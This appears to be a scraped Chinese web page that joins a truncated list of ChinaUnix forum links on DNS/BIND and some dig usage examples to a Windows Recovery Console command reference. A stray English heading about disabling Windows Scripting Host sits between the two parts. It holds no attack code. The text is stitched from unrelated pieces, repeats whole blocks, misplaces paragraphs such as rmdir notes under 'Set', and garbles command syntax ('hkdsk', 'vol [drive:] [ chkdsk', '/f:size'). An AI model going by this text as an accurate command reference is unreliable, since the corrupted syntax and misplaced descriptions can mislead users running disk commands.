2、zone 数据文件格式探讨,新手经常发生 zone 数据文件语法错误,来这里看看吧
http://bbs.chinaunix.net/forum/viewtopic.php?t=349...
3、反向解析深入探讨
http://bbs.chinaunix.net/forum/viewtopic.php?t=385...
4、nslookup can't find server name ... (新手在使用 nslookup时经常碰到的问题)
http://bbs.chinaunix.net/forum/viewtopic.php?t=236...
http://bbs.chinaunix.net/forum/viewtopic.php?t=383...
5、大型门户网站结构的分析
http://bbs.chinaunix.net/forum/viewtopic.php?t=428...
6、DNS 流量统计加强版
http://bbs.chinaunix.net/forum/viewtopic.php?t=423...
7、DNS Server CPU & Memory Usage 统计 - snmp 版
http://bbs.chinaunix.net/forum/viewtopic.php?t=430...
8、remote DNS Response monitor , simple version
http://bbs.chinaunix.net/forum/viewtopic.php?t=423...
9、想监测一下你的 dns 方面的知识吗?看看你能答对几题!
http://bbs.chinaunix.net/forum/viewtopic.php?t=417...
10、Bind9 View 底下的 master/slave 设定方案
http://bbs.chinaunix.net/forum/viewtopic.php?t=308...
11、bind 压力测试探讨
http://www.myhome.net.tw/2003_10/web/main3.htm
# dig 最基本的用法
dig @server sina.com.cn.
# 用 dig 查看 zone 数据传输
dig @server zx.xmgd.com. AXFR
# 用 dig 查看 zone 数据的增量传输
dig @server zx.xmgd.com. IXFR=N
# 用 dig 查看反向解析
dig -x 210.52.83.228 @server
# 查找一个域的授权 dns 服务器
dig xmgd.com. +nssearch
# 从根服务器开始追踪一个域名的解析过程
dig xmgd.com +trace
# 查看你使用的是哪个 F root dns server
dig +norec @F.ROOT-SERVERS.NET HOSTNAME.BIND CHAOS TXT

DNS 基础知识
1、BIND 的 forwarder 功能
http://bbs.chinaunix.net/forum/viewtopic.php?t=208...
2、DNS Cache 的一些小技巧
http://bbs.chinaunix.net/forum/viewtopic.php?t=956...
3、dig 命令的基本用法
http://bbs.chinaunix.net/forum/viewtopic.php?t=229...
4、简单建立 DNS 的 shell script
http://bbs.chinaunix.net/forum/viewtopic.php?t=217...
5、BIND 动态更新功能
http://bbs.chinaunix.net/forum/viewtopic.php?t=225...
6、BIND 的 View 功能
http://www.chinaunix.net/bbsjh/3/6015.html
二、DNS 安装与配置
1、BIND 安装简易指南
http://bbs.chinaunix.net/forum/viewtopic.php?t=206...
2、简单的 BIND chroot 配置指南
http://bbs.chinaunix.net/forum/viewtopic.php?t=336...
3、DNS 查询统计工具 DNStop 的安装
http://bbs.chinaunix.net/forum/viewtopic.php?t=196...
4、DNStop 在 solaris 下的安装
http://bbs.chinaunix.net/forum/viewtopic.php?t=364...
三、DNS 资料下载
1、DNS 和 BIND 方面的电子版书籍下载
http://bbs.chinaunix.net/forum/viewtopic.php?t=146...
2、DNS 和 BIND 相关网站地址列表
http://bbs.chinaunix.net/forum/viewtopic.php?t=187...
3、台湾 twnic 的 DNS 技术研讨班教材(粉不错噢)
http://rs.twnic.net.tw/DNS93/download/93DN-1.pdf
http://rs.twnic.net.tw/DNS93/download/93DN-2.pdf
4、BIND 各版本漏洞分布情况
http://www.isc.org/sw/bind/bind-security.php
5、PowerDNS 安装与管理
http://www.powerdns.com Mysql DNS
http://sourceforge.net/projects/poweradmin/ PowerDNS Web UI
6、bind error 信息索引
http://www.menandmice.com/docs/named_messages.htm
四、DNS 高阶探讨
1、DNS Server 负载探讨
http://bbs.chinaunix.net/forum/viewtopic.php?t=363...
2、zone 数据文件格式探讨,新手经常发生 zone 数据文件语法错误,来这里看看吧
http://bbs.chinaunix.net/forum/viewtopic.php?t=349...
3、反向解析深入探讨
http://bbs.chinaunix.net/forum/viewtopic.php?t=385...
4、nslookup can't find server name ... (新手在使用 nslookup时经常碰到的问题)
http://bbs.chinaunix.net/forum/viewtopic.php?t=236...
http://bbs.chinaunix.net/forum/viewtopic.php?t=383...
5、大型门户网站结构的分析
http://bbs.chinaunix.net/forum/viewtopic.php?t=428...
6、DNS 流量统计加强版
http://bbs.chinaunix.net/forum/viewtopic.php?t=423...
7、DNS Server CPU & Memory Usage 统计 - snmp 版
http://bbs.chinaunix.net/forum/viewtopic.php?t=430...
8、remote DNS Response monitor , simple version
http://bbs.chinaunix.net/forum/viewtopic.php?t=423...
9、想监测一下你的 dns 方面的知识吗?看看你能答对几题!
http://bbs.chinaunix.net/forum/viewtopic.php?t=417...
10、Bind9 View 底下的 master/slave 设定方案
http://bbs.chinaunix.net/forum/viewtopic.php?t=308...
11、bind 压力测试探讨
http://www.myhome.net.tw/2003_10/web/main3.htm
How to disable or remove the Windows Scripting Host
Windows 故障恢复控制台是WindowsNT内核的操作系统提供的。
Windows 故障恢复控制台的功能是帮助基于 Windows 的计算机在未正确启动或根本无法启动时进行恢复操作。在安全模式和其他启动方法都无效时,您可以考虑使用故障恢复控制台。建议只有高级用户(能够使用基本命令确定并找到有问题的驱动程序和文件)才使用此方法。此外,还要求您是本地管理员。
第一部分:文件和目录操作命令
Attrib
更改单个文件或目录的属性。该命令设置或删除指派给文件或目录的只读、系统、存档、隐藏以及压缩属
性。
含有下列参数的 attrib 命令仅当使用故障恢复控制台时才可用。含有不同参数的 attrib
命令可在命令提示符中使用。
attrib [ +r|-r] [ +s|-s] [ +h|-h] [ +c|-c] [ [ drive:] [ path] filename]
参数
+r 设置只读属性。
-r 清除只读属性。
+s 设置系统属性。
-s 清除系统属性。
+h 设置隐藏属性。
-h 清除隐藏属性。
+c 设置压缩属性。
-c 清除压缩属性。
[ [ drive:] [ path] filename]
指定要处理的目录或文件的位置和名称。可以一次只更改一个文件,也可以更改整个目录。
注意:可以用一个命令更改一个文件或目录的多个属性。
Batch
执行在文本文件中指定的命令。batch 命令仅在使用故障恢复控制台时才可用。故障恢复控制台可以从安
装 CD 中启动。
batch input_file [ output_file]
参数
input_file :指定包含要执行的命令列表的文本文件。Input_file 可以由驱动器号和冒号、目录名、文
件名或它们的组合构成。
output_file :如果指定,则在命名文件中存储命令输出。如果没有指定,输出将显示在屏幕上。
范例
下例将执行批处理文件 C:\ Jobs\ Find.txt 并将输出存储在文件 C:\ Jobs\ Results.txt 中:
batch c:\ jobs\ find.txt c:\ jobs\ results.txt
注意:批处理文件不能包含嵌套的 batch 命令。
Chdir (Cd)
显示当前目录的名称,或更改当前的文件夹。
含有下列参数的 chdir 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
chdir 命令。
chdir [drive:] [path] [ ..] 或者 cd [drive:] [ path] [ ..]
参数 无
如果不带任何参数,chdir 将显示当前驱动器和文件夹的名称。只与驱动器号一起使用(例如 cd C:),
chdir 将显示指定驱动器上的当前目录。
[ drive:] [ path]
指定要改到的驱动器(如果不是当前驱动器)和目录。
[ ..]
指明要改到父文件夹。在 chdir 和两个句点之间插入一个空格。
注意
· Chdir 将空格视作分隔符。用引号将包含空格的目录名扩起来。例如:
cd "driver cache"
· Chdir 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Copy
将单个文件复制到其他位置。含有下列参数的 copy 命令仅在使用故障恢复控制台时才可用。
可在命令提示符下使用带不同参数的 copy 命令。
copy source [ destination]
参数
source :指定要被复制的文件的位置和名称。Source 可由驱动器号和冒号、目录名、文件名或组合所组
成。
destination :指定要复制到其中的文件或文件集的位置和名称。Destination 可以由驱动器号和冒号、
文件夹名、文件名及组合而组成。
注意
· 源可以是可移动媒体、当前 Windows 安装的系统目录中的任何目录、驱动器的根目录、本地安装源
或 Cmdcons 目录。
· 目标可以是除可移动媒体以外的任何与源相同的位置。如果没有指定目标,则默认为
当前目录。
· Windows 安装 CD 中的压缩文件在复制过程中解压缩。
· Copy 不支持通配符。
Delete (Del)
删除单个文件。含有下列参数的 delete 或 del 命令仅在使用故障恢复控制台时才可用。可在命令提示符
下使用带有不同参数的 delete 或 del 命令。
delete [ drive:] [ path] filename 或者 del [ drive:] [ path] filename
参数
[ drive:] [ path] filename指定要删除的文件的位置和名称。
注意
· Delete 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Dir
显示目录中的文件和子目录列表。含有下列参数的 dir 命令仅在使用故障恢复控制台时才可用。可在命令
提示符下使用带有不同参数的 dir 命令。
dir [ drive:] [ path] [ filename]
参数
[ drive:] [ path]
指定要查看列表的驱动器和目录。
[ filename]
指定要查看列表的特定文件或一组文件。可以使用多个文件名。文件名可以用空格、逗号或分号隔开。可
以在 filename 参数中使用通配符(?和 *)显示一组文件。
Dir 还列出磁盘的卷标和序列号,以及所列文件的数目,累计大小和磁盘上剩余的可用空间(以字节计)
。对于每个文件和子目录而言,dir 列出文件的扩展名、文件字节数、文件的最后修改日期和时间以及下列文
件属性(如果可用):
缩写 属性
d 目录
h 隐藏文件
s 系统文件
e 加密
r 只读
a 存档文件
c 已压缩
p 重新分析点
注意:
Dir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Expand
从压缩文件中提取文件。通过该命令可从 .cab 文件或压缩文件中提取驱动程序文件。
含有下列参数的 expand 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
expand 命令。
expand source [ /F:filespec}] [ destination] [ /d] [ /y]
参数
source :指定要展开的文件。如果源文件只包含一个文件,请使用该选项。source 可由驱动器号和冒号
、目录名、文件名或组合所组成。不能使用通配符。
/f:size :如果源文件包含多个文件,指定要提取的文件的名称。可以对要提取的文件使用通配符。
destination :指定提取文件或每个单独文件的目标目录和(或)文件名。
/d :列出 CAB 文件中包含的文件而不展开或提取。
/y :在展开或提取文件时不出现覆盖提示。
范例
下例将从安装 CD 上的驱动程序 CAB 文件中提取 Msgame.sys 文件并将其复制到C:\ Windows\ System\
Drivers:
expand d:\ i386\ driver.cab \ f:msgame.sys c:\ windows\ system\ drivers
下例将展开压缩文件 Access.cp_:
expand d:\ i386\ acces.cp_c:\ windows\ system32\ access.cpl
下例将列出安装 CD 上的驱动程序 CAB 文件中的所有文件。
expand /d d:\ i386\ driver.cab
要点
· 驱动程序 CAB 文件包含成千上万的文件,其中包括由 Windows 提供的大部分驱动程序。将所有文件
从 CAB 文件展开到硬盘上需要花较长的时间和大量的磁盘空间。建议 仅从该文件中提取需要的文件。
注意
· 如果没有指定目标,文件将被复制到当前目录。
· 不能将软盘驱动器或 CD-ROM 等可移动媒体指定为目标。
Mkdir (md)
创建目录或子目录。含有下列参数的 mkdir 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用
带不同参数的 mkdir 命令。
mkdir [ drive:] path 或者 md [ drive:] path
参数
drive: :指定要创建新目录的驱动器。
path :指定新目录的名称和位置。不能使用通配符。
注意
· Mkdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Rename (Ren)
更改单个文件的名称。含有下列参数的 rename 命令仅在使用故障恢复控制台时可用。可在命令提示符下
使用带不同参数的 rename 命令。
rename [ drive:] [ path] filename1 filename2 或者 ren [ drive:] [ path] filename1
filename2
参数
[ drive:] [ path] filename1
指定要重新命名的文件的位置和名称。不能使用通配符。
filename2
为文件指定新的名称。重新命名文件时不能指定新的驱动器或路径。
Rmdir (Rd)
删除目录。含有下列参数的 rmdir 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参
数的 mdir 命令。
rmdir [ drive:] path 或者 rd [ drive:] path
参数
[ drive:] path
指定要删除的目录的位置和名称。不能使用通配符。
注意
· 目录必须为空否则命令失败。
· Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Type
显示文本文件的内容。使用 type 或 more 命令查看文本文件而不修改文件。含有下述参数的 type 命令
仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 type命令。
type [ drive:] [ path] filename 或者 more [ drive:] [ path] filename
参数
[ drive:] path] filename
指定要查看的文件的位置和名称。如果使用 NTFS 驱动器而且文件名包含空格,则必须用引号 ("将文件名
引起来。
More
显示文本文件的内容。使用 more 或 type 命令查看文本文件而不修改文件。含有下列参数的 more 命令
仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 more命令。
more [ drive:] [ path] filename 或者 type [ drive:] [ path] filename
参数
[ drive:] path] filename
指定要查看的文件的位置和名称。
如果使用 NTFS 驱动器,而且文件名包含空格,则必须用引号 (")将文件名引起来.
第二部分:系统和磁盘操作命令
Bootcfg
bootcfg 命令启动配置和故障恢复(对于大多数计算机,即 boot.ini 文件)。
含有下列参数的 bootcfg 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
bootcfg 命令。
用法:
bootcfg /default 设置默认引导项。
bootcfg /add 向引导列表中添加 Windows 安装。
bootcfg /rebuild 重复全部 Windows 安装过程并允许用户选择要添加的内容。
注意:使用 bootcfg /rebuild 之前,应先通过 bootcfg /copy 命令备份 boot.ini 文件。
bootcfg /scan 扫描用于 Windows 安装的所有磁盘并显示结果。
注意:这些结果被静态存储,并用于本次会话。如果在本次会话期间磁盘配置发生变化,为获得更新的扫
描,必须先重新启动计算机,然后再次扫描磁盘。
bootcfg /list 列出引导列表中已有的条目。
bootcfg /disableredirect 在启动引导程序中禁用重定向。
bootcfg /redirect [ PortBaudRrate] |[ useBiosSettings]
在启动引导程序中通过指定配置启用重定向。
范例:
bootcfg /redirect com1 115200
bootcfg /redirect useBiosSettings
hkdsk
创建并显示磁盘的状态报告。Chkdsk 命令还可列出并纠正磁盘上的错误。
含有下列参数的 chkdsk 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
chkdsk 命令。
vol [drive:] [ chkdsk [drive:] [/p] [/r]
参数 无
如果不带任何参数,chkdsk 将显示当前驱动器中的磁盘状态。
drive: 指定要 chkdsk 检查的驱动器。
/p 即使驱动器不在 chkdsk 的检查范围内,也执行彻底检查。该参数不对驱动器做任何更改。
/r 找到坏扇区并恢复可读取的信息。隐含着 /p 参数。
注意
· Chkdsk 命令需要 Autochk.exe 文件。如果不能在启动目录(默认为\ %systemroot%\ System32)中找
到该文件,将试着在 Windows 安装 CD 中找到它。如果有多引导系统的计算机,必须保证是在包含 Windows
的驱动器上使用该命令。
Diskpart
创建和删除硬盘驱动器上的分区。diskpart 命令仅在使用故障恢复控制台时才可用。
diskpart [ /add |/delete] [device_name |drive_name |partition_name] [size]
参数 无
如果不带任何参数,diskpart 命令将启动 diskpart 的 Windows 字符模式版本。
/add :创建新的分区。
/delete :删除现有分区。
device_name :要创建或删除分区的设备。设备名称可从 map 命令的输出获得。例如,设备名称:
\ Device\ HardDisk0
drive_name :以驱动器号表示的待删除分区。仅与 /delete 同时使用。以下是驱动器名称的范例:
D:
partition_name
以分区名称表示的待删除分区。可代替 drive_name 使用。仅与 /delete 同时使用。以下是分区名称的范
例:
\ Device\ HardDisk0\ Partition1
大小
要创建的分区大小,以兆字节 (MB)表示。仅与 /add 同时使用。
范例
下例将删除分区:
diskpart /delete \ Device\ HardDisk0\ Partition3
diskpart /delete F:
下例将在硬盘上添加一个 20 MB 的分区:
diskpart /add \ Device\ HardDisk0 20
Fixboot
向系统分区写入新的分区引导扇区。只有在使用故障恢复控制台时,才能使用 fixboot 命令。
fixboot [drive]
参数 驱动器
将要写入引导扇区的驱动器。它将替代默认的驱动器(即用户登录的系统分区)。例如,驱动器:D:
范例
下列命令范例向驱动器 D:的系统分区写入新的分区引导扇区:
fixboot d:
注意: 如果不带任何参数,fixboot 命令将向用户登录的系统分区写入新的分区引导扇区。
Fixmbr
修复启动磁盘的 主启动记录。fixmbr 命令仅在使用故障恢复控制台时才可用。
fixmbr [ device_name]
参数
device_name
要写入新的主引导记录的设备(驱动器)。设备名称可从 map 命令的输出获得。例如,设备名称:
\ Device\ HardDisk0
范例
下列命令示例向指定设备写入一个新的主引导记录:
fixmbr \ Device\ HardDisk0
注意
· 如果不指定 device_name,新的主引导记录将被写入引导设备,即装载主系统的驱动器。
· 如果系统检测到无效或非标准分区表标记,将提示用户是否继续执行该命令。除非您访问驱动器有
问题,否则不要继续进行。向系统分区写入新的主引导记录可能破坏分区表并导致分区无法访问。
Format
将指定的驱动器格式化为指定的文件系统。含有下列参数的 format 命令仅在使用故障恢复控制台时才可
用。可在命令提示符下使用带有不同参数的 format 命令。
format [ drive:] [ /fs:file-system]
参数
drive: :指定要格式化的驱动器。不能从故障恢复控制台格式化软盘。
/q :对驱动器进行快速格式化。不扫描驱动器看是否有坏区域,因此只应对以前格式化过的驱动器使用该
参数。
/fs:file-system :指定要使用的文件系统:FAT 、FAT32 或 NTFS 。如果未指定文件系统,将使用现有
的文件系统格式。
Map
显示驱动器号与物理设备名称的映射。该信息在运行 fixboot 和 fixmbr 命令时非常有用。
map 命令仅在使用故障恢复控制台时才可用。
Map [ arc]
参数
arc :指示 map 命令显示高级 RISC 计算 (ARC)设备名称而不是设备名称。以下是 ARC 设备名称的范例
:
multi(0)disk(0)rdisk(0)partition(1)
等价的设备名称是:
\ Device\ HardDisk0\ Partition1
范例
下例将物理设备名映射为使用 ARC 设备名称的驱动器号:
map arc
注意
· 如果不使用 arc 参数,则 map 命令显示设备名称。
· map 命令还显示文件系统的类型和每个磁盘的大小 (MB)。
第三部分:辅助操作和特殊功能命令
Cls
清除屏幕。
清除后的屏幕只显示命令提示符和插入点。
Disable
禁用 Windows XP 、Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。disable 命令仅在使用
故障恢复控制台时才可用。
disable {service_name] |[ device_driver_name}
参数
service_name :要禁用的系统服务名称。
device_driver_name :要禁用的设备驱动程序名称。
范例
下例将禁用 Eventlog 服务:
disable eventlog
注意
· disable 命令将指定的服务或驱动程序的启动类型设为 SERVICE_DISABLED 。
· 使用 disable 命令禁用系统服务或设备驱动程序时,该系统服务或设备驱动程序上次启动类型的名
称将显示在屏幕上。应该记下该名称,以便在需要时使用 enable 命令将启动类型恢复为上次的设置。
· 共有五种启动类型。前三种类型是:SERVICE_AUTO_START 、SERVICE_DISABLED 和
SERVICE_DEMAND_START 。对应的标准启动类型:自动、禁用和手动,通常使用“计算机管理”管理工具中的“
服务”进行配置。后两种类型是:SERVICE_BOOT_START 和SERVICE_SYSTEM_START,通常用于配置加载设备驱动
程序的方式。例如,在启动计算机时或启动 Windows 时加载。
Enable
启用 Windows XP 、Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。enable 命令仅在使用
故障恢复控制台时才可用。
enable {service_name |device_driver_name}[ startup_type]
参数
service_name :要启用的系统服务的名称。
device_driver_name :要启用的设备驱动程序的名称。
startup_type :要为服务或设备驱动程序指派的启动类型。有效的启动类型包括:
· SERVICE_BOOT_START
· SERVICE_SYSTEM_START
· SERVICE_AUTO_START
· SERVICE_DEMAND_START
范例
下例将 Eventlog 服务的启动类型设为自动或 SERVICE_AUTO_START:
enable eventlog service_auto_start
注意
· 如果不指派启动类型,enable 命令将列出在 service_name 中指定的服务或设备驱动程序的当前启
动类型。
· 使用 enable 命令更改启动类型时,上次启动类型的名称将显示在屏幕上。应该记下该名称,以便在
需要时将启动类型恢复为上次的设置。
Exit
关闭故障恢复控制台并重新启动计算机。exit 命令仅在使用“故障恢复控制台”时才可用。
exit
参数 无
Help
提供有关故障恢复控制台命令的联机信息。
help [ commandname]
参数 无
列出故障恢复控制台中提供的命令。
commandname
提供有关命令信息,包括命令使用的参数。
注意
· 有两种方法可以获得命令的联机帮助。可以指定 help 命令后的命令名称,或者可以在命令提示符中
键入该命令名称和 /?。开关。例如,键入下列命令可以获得有关extract 命令的信息:
help extract
extract /?
Listsvc
列出计算机上可以使用的服务和驱动程序。listsvc 命令仅在使用故障恢复控制台时才可用。
listsvc
参数 无
Logon
登录到 Windows 安装。logon 命令仅在使用故障恢复控制台时才可用。
logon
参数 无
注意
· logon 命令将列出所有检测到的 Windows 安装,需要安装的本地管理员密码才能登录。
· 如果 3 次登录尝试都失败,“故障恢复控制台”会退出并且计算机将重新启动。
Net use
将网络共享连接到驱动器号。含有下列参数的 net use 命令仅在使用故障恢复控制台时可用。在命令提示
符下可以使用带不同参数的 net use 命令。
语法
net use [ \ComputerName\ShareName [ /user:[ DomainName\ ] UserName] password] |[ drive
letter:] [ /d]
参数
\servername\sharename
指定服务器和共享资源的名称。如果 computername 包含空白字符,则将计算机名从双反斜杠 (\ 到计算
机名结尾用引号 ("括起来。计算机名长度可以是 1 到 15 个字符。
/user
指定建立连接的用户名。
域名
确认用户的凭据时所要使用的域名。
用户名
指定登录时使用的用户名。
密码
指定访问共享资源所需的密码。不输入密码,将给出要键入密码的提示。在密码提示行处键入密码时不显
示密码。
/d
表示将不断开该连接。
Set
显示和设置“故障恢复控制台”的环境变量。set 命令是必须与安全模板一同使用的可选命令。
含有不同参数的 set 命令仅在使用故障故障恢复控制台时可用。可在命令提示符下使用带不同参数的 set
命令。
set [ variable=[ string] ]
参数
variable
指定需要设置或修改的变量。
“故障恢复控制台”支持以下环境变量:
变量 说明
AllowWildCards 允许某些命令(如 del 命令)支持通配符。
AllowAllPaths 允许访问系统上的所有文件和目录。
AllowRemovableMedia 允许文件复制到可移动媒体上,如软盘。
NoCopyPrompt 覆盖现有文件时不显示提示。
string
指定要与指定变量关联的字符串。
范例
下例允许在某些故障恢复控制台命令中使用通配符:
set allowwildcards=true
指定要删除的目录的位置和名称。不能使用通配符。
注意
· 目录必须为空否则命令失败。
· Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Systemroot
将当前目录设置为用户登录到的 Windows 安装系统的 systemroot 文件夹。systemroot 命令仅在使用故
障恢复控制台时可用。
Windows 故障恢复控制台的功能是帮助基于 Windows 的计算机在未正确启动或根本无法启动时进行恢复操作。在安全模式和其他启动方法都无效时,您可以考虑使用故障恢复控制台。建议只有高级用户(能够使用基本命令确定并找到有问题的驱动程序和文件)才使用此方法。此外,还要求您是本地管理员。
第一部分:文件和目录操作命令
Attrib
更改单个文件或目录的属性。该命令设置或删除指派给文件或目录的只读、系统、存档、隐藏以及压缩属
性。
含有下列参数的 attrib 命令仅当使用故障恢复控制台时才可用。含有不同参数的 attrib
命令可在命令提示符中使用。
attrib [ +r|-r] [ +s|-s] [ +h|-h] [ +c|-c] [ [ drive:] [ path] filename]
参数
+r 设置只读属性。
-r 清除只读属性。
+s 设置系统属性。
-s 清除系统属性。
+h 设置隐藏属性。
-h 清除隐藏属性。
+c 设置压缩属性。
-c 清除压缩属性。
[ [ drive:] [ path] filename]
指定要处理的目录或文件的位置和名称。可以一次只更改一个文件,也可以更改整个目录。
注意:可以用一个命令更改一个文件或目录的多个属性。
Batch
执行在文本文件中指定的命令。batch 命令仅在使用故障恢复控制台时才可用。故障恢复控制台可以从安
装 CD 中启动。
batch input_file [ output_file]
参数
input_file :指定包含要执行的命令列表的文本文件。Input_file 可以由驱动器号和冒号、目录名、文
件名或它们的组合构成。
output_file :如果指定,则在命名文件中存储命令输出。如果没有指定,输出将显示在屏幕上。
范例
下例将执行批处理文件 C:\ Jobs\ Find.txt 并将输出存储在文件 C:\ Jobs\ Results.txt 中:
batch c:\ jobs\ find.txt c:\ jobs\ results.txt
注意:批处理文件不能包含嵌套的 batch 命令。
Chdir (Cd)
显示当前目录的名称,或更改当前的文件夹。
含有下列参数的 chdir 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
chdir 命令。
chdir [drive:] [path] [ ..] 或者 cd [drive:] [ path] [ ..]
参数 无
如果不带任何参数,chdir 将显示当前驱动器和文件夹的名称。只与驱动器号一起使用(例如 cd C:),
chdir 将显示指定驱动器上的当前目录。
[ drive:] [ path]
指定要改到的驱动器(如果不是当前驱动器)和目录。
[ ..]
指明要改到父文件夹。在 chdir 和两个句点之间插入一个空格。
注意
· Chdir 将空格视作分隔符。用引号将包含空格的目录名扩起来。例如:
cd "driver cache"
· Chdir 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Copy
将单个文件复制到其他位置。含有下列参数的 copy 命令仅在使用故障恢复控制台时才可用。
可在命令提示符下使用带不同参数的 copy 命令。
copy source [ destination]
参数
source :指定要被复制的文件的位置和名称。Source 可由驱动器号和冒号、目录名、文件名或组合所组
成。
destination :指定要复制到其中的文件或文件集的位置和名称。Destination 可以由驱动器号和冒号、
文件夹名、文件名及组合而组成。
注意
· 源可以是可移动媒体、当前 Windows 安装的系统目录中的任何目录、驱动器的根目录、本地安装源
或 Cmdcons 目录。
· 目标可以是除可移动媒体以外的任何与源相同的位置。如果没有指定目标,则默认为
当前目录。
· Windows 安装 CD 中的压缩文件在复制过程中解压缩。
· Copy 不支持通配符。
Delete (Del)
删除单个文件。含有下列参数的 delete 或 del 命令仅在使用故障恢复控制台时才可用。可在命令提示符
下使用带有不同参数的 delete 或 del 命令。
delete [ drive:] [ path] filename 或者 del [ drive:] [ path] filename
参数
[ drive:] [ path] filename指定要删除的文件的位置和名称。
注意
· Delete 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Dir
显示目录中的文件和子目录列表。含有下列参数的 dir 命令仅在使用故障恢复控制台时才可用。可在命令
提示符下使用带有不同参数的 dir 命令。
dir [ drive:] [ path] [ filename]
参数
[ drive:] [ path]
指定要查看列表的驱动器和目录。
[ filename]
指定要查看列表的特定文件或一组文件。可以使用多个文件名。文件名可以用空格、逗号或分号隔开。可
以在 filename 参数中使用通配符(?和 *)显示一组文件。
Dir 还列出磁盘的卷标和序列号,以及所列文件的数目,累计大小和磁盘上剩余的可用空间(以字节计)
。对于每个文件和子目录而言,dir 列出文件的扩展名、文件字节数、文件的最后修改日期和时间以及下列文
件属性(如果可用):
缩写 属性
d 目录
h 隐藏文件
s 系统文件
e 加密
r 只读
a 存档文件
c 已压缩
p 重新分析点
注意:
Dir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Expand
从压缩文件中提取文件。通过该命令可从 .cab 文件或压缩文件中提取驱动程序文件。
含有下列参数的 expand 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
expand 命令。
expand source [ /F:filespec}] [ destination] [ /d] [ /y]
参数
source :指定要展开的文件。如果源文件只包含一个文件,请使用该选项。source 可由驱动器号和冒号
、目录名、文件名或组合所组成。不能使用通配符。
/f:size :如果源文件包含多个文件,指定要提取的文件的名称。可以对要提取的文件使用通配符。
destination :指定提取文件或每个单独文件的目标目录和(或)文件名。
/d :列出 CAB 文件中包含的文件而不展开或提取。
/y :在展开或提取文件时不出现覆盖提示。
范例
下例将从安装 CD 上的驱动程序 CAB 文件中提取 Msgame.sys 文件并将其复制到C:\ Windows\ System\
Drivers:
expand d:\ i386\ driver.cab \ f:msgame.sys c:\ windows\ system\ drivers
下例将展开压缩文件 Access.cp_:
expand d:\ i386\ acces.cp_c:\ windows\ system32\ access.cpl
下例将列出安装 CD 上的驱动程序 CAB 文件中的所有文件。
expand /d d:\ i386\ driver.cab
要点
· 驱动程序 CAB 文件包含成千上万的文件,其中包括由 Windows 提供的大部分驱动程序。将所有文件
从 CAB 文件展开到硬盘上需要花较长的时间和大量的磁盘空间。建议 仅从该文件中提取需要的文件。
注意
· 如果没有指定目标,文件将被复制到当前目录。
· 不能将软盘驱动器或 CD-ROM 等可移动媒体指定为目标。
Mkdir (md)
创建目录或子目录。含有下列参数的 mkdir 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用
带不同参数的 mkdir 命令。
mkdir [ drive:] path 或者 md [ drive:] path
参数
drive: :指定要创建新目录的驱动器。
path :指定新目录的名称和位置。不能使用通配符。
注意
· Mkdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Rename (Ren)
更改单个文件的名称。含有下列参数的 rename 命令仅在使用故障恢复控制台时可用。可在命令提示符下
使用带不同参数的 rename 命令。
rename [ drive:] [ path] filename1 filename2 或者 ren [ drive:] [ path] filename1
filename2
参数
[ drive:] [ path] filename1
指定要重新命名的文件的位置和名称。不能使用通配符。
filename2
为文件指定新的名称。重新命名文件时不能指定新的驱动器或路径。
Rmdir (Rd)
删除目录。含有下列参数的 rmdir 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参
数的 mdir 命令。
rmdir [ drive:] path 或者 rd [ drive:] path
参数
[ drive:] path
指定要删除的目录的位置和名称。不能使用通配符。
注意
· 目录必须为空否则命令失败。
· Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Type
显示文本文件的内容。使用 type 或 more 命令查看文本文件而不修改文件。含有下述参数的 type 命令
仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 type命令。
type [ drive:] [ path] filename 或者 more [ drive:] [ path] filename
参数
[ drive:] path] filename
指定要查看的文件的位置和名称。如果使用 NTFS 驱动器而且文件名包含空格,则必须用引号 ("将文件名
引起来。
More
显示文本文件的内容。使用 more 或 type 命令查看文本文件而不修改文件。含有下列参数的 more 命令
仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 more命令。
more [ drive:] [ path] filename 或者 type [ drive:] [ path] filename
参数
[ drive:] path] filename
指定要查看的文件的位置和名称。
如果使用 NTFS 驱动器,而且文件名包含空格,则必须用引号 (")将文件名引起来.
第二部分:系统和磁盘操作命令
Bootcfg
bootcfg 命令启动配置和故障恢复(对于大多数计算机,即 boot.ini 文件)。
含有下列参数的 bootcfg 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
bootcfg 命令。
用法:
bootcfg /default 设置默认引导项。
bootcfg /add 向引导列表中添加 Windows 安装。
bootcfg /rebuild 重复全部 Windows 安装过程并允许用户选择要添加的内容。
注意:使用 bootcfg /rebuild 之前,应先通过 bootcfg /copy 命令备份 boot.ini 文件。
bootcfg /scan 扫描用于 Windows 安装的所有磁盘并显示结果。
